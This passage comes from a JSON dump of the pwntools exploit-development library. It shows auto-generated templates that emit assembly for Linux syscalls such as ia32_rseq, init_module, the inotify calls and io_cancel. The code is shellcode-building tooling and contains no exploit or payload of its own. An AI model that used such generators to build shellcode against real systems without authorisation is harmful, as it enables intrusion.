['SYS_ia32_io_pgetevents']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_ia32_io_pgetevents'])\n%>\n    /* ia32_io_pgetevents(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/ia32_rseq.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>ia32_rseq(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall ia32_rseq.\n\nSee 'man 2 ia32_rseq' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_ia32_rseq']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_ia32_rseq'])\n%>\n    /* ia32_rseq(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/ia32_statx.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>ia32_statx(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall ia32_statx.\n\nSee 'man 2 ia32_statx' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_ia32_statx']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_ia32_statx'])\n%>\n    /* ia32_statx(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/idle.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>idle() -> str\n\nInvokes the syscall idle.\n\nSee 'man 2 idle' for more information.\n\nArguments:\n\nReturns:\n    int\n</%docstring>\n<%page args=\"\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = []\n    argument_values = []\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_idle']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_idle'])\n%>\n    /* idle(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/init_module.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>init_module(name, image) -> str\n\nInvokes the syscall init_module.\n\nSee 'man 2 init_module' for more information.\n\nArguments:\n    name(char*): name\n    image(module*): image\nReturns:\n    int\n</%docstring>\n<%page args=\"name=0, image=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['name']\n    can_pushstr_array = []\n\n    argument_names = ['name', 'image']\n    argument_values = [name, image]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_init_module']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_init_module'])\n%>\n    /* init_module(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/inotify_add_watch.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>inotify_add_watch(fd, name, mask) -> str\n\nInvokes the syscall inotify_add_watch.\n\nSee 'man 2 inotify_add_watch' for more information.\n\nArguments:\n    fd(int): fd\n    name(char*): name\n    mask(uint32_t): mask\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, name=0, mask=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['name']\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'name', 'mask']\n    argument_values = [fd, name, mask]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_inotify_add_watch']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_inotify_add_watch'])\n%>\n    /* inotify_add_watch(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/inotify_init.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>inotify_init() -> str\n\nInvokes the syscall inotify_init.\n\nSee 'man 2 inotify_init' for more information.\n\nArguments:\n\nReturns:\n    int\n</%docstring>\n<%page args=\"\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = []\n    argument_values = []\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_inotify_init']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_inotify_init'])\n%>\n    /* inotify_init(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/inotify_init1.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>inotify_init1(flags) -> str\n\nInvokes the syscall inotify_init1.\n\nSee 'man 2 inotify_init1' for more information.\n\nArguments:\n    flags(int): flags\nReturns:\n    int\n</%docstring>\n<%page args=\"flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['flags']\n    argument_values = [flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_inotify_init1']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_inotify_init1'])\n%>\n    /* inotify_init1(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/inotify_rm_watch.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>inotify_rm_watch(fd, wd) -> str\n\nInvokes the syscall inotify_rm_watch.\n\nSee 'man 2 inotify_rm_watch' for more information.\n\nArguments:\n    fd(int): fd\n    wd(int): wd\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, wd=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'wd']\n    argument_values = [fd, wd]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_inotify_rm_watch']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_inotify_rm_watch'])\n%>\n    /* inotify_rm_watch(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/io_cancel.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>io_cancel(ctx_id, iocb, result) -> str\n\nInvokes the syscall io_cancel.\n\nSee 'man 2 io_cancel' for more information.\n\nArguments:\n    ctx_id(aio_context_t): ctx_id\n    iocb(iocb*): iocb\n    result(io_event*): result\nReturns:\n    int\n</%docstring>\n<%page args=\"ctx_id=0, iocb=0, result=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['ctx_id', 'iocb', 'result']\n    argument_values = [ctx_id, iocb, result]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_io_cancel']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_io_cancel'])\n%>\n    /* io_cancel(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
